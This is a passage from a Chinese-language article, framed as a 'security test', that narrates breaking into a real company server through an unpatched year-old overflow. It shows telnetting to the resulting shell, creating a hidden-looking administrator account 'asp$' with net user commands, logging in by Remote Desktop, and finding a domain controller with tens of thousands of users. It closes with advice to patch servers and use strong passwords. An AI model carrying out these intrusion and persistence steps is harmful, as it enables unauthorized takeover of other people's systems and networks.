第三页
第四步：重新打开另外一个命令提示符，敲入命令：telnet 202.2##.*.196 1100，速度很快，返回一个shell，溢出成功。在telnet界面中敲入如下命令：net query，显示如图6，看来管理员不在线。(图6)
第五步：在Telnet命令提示符下敲入命令：net user asp$ "test" /add
net localgroup administrators asp$ /add，建立一个具有管理员权限的asp$账户，密码为“test”。在本机运行“mstsc”，打开“远程桌面连接工具”，输入IP地址：202.2##.*.196，用户名：asp$
密码：test，连接成功如图7。(图7)
第六步：打开“管理工具”，发现这台主机还是一个域控制器，打开“域用户和计算机”，域成员竟然有43511个如图8，看来这个企业的局域网的规模不小。(图8)
总结：一年前的漏洞到现在还没有打，管理员太失职了。
上面有关服务器的两例安全测试，虽是个案不具有普遍性，但其中反应出的管理员的疏忽大意及其安全意识淡薄是不容忽视的。笔者认为，作为企业服务器稳定高效固然重要，但安全更重要，没有了安全性其他都无从谈起。就让我们从为服务器打好补丁，设置健壮的密码开始，全方位地打造安全的服务器。
网友评论